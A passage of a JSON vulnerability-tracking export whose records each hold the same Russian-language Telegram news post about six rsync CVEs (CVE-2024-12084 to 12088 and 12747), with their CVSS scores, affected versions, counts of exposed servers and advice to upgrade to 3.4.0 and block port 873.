\u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "dfffbd6c-5e3f-4391-87e1-59cbe070aed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "ca794653-0de1-4429-a25a-19a552c919c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f 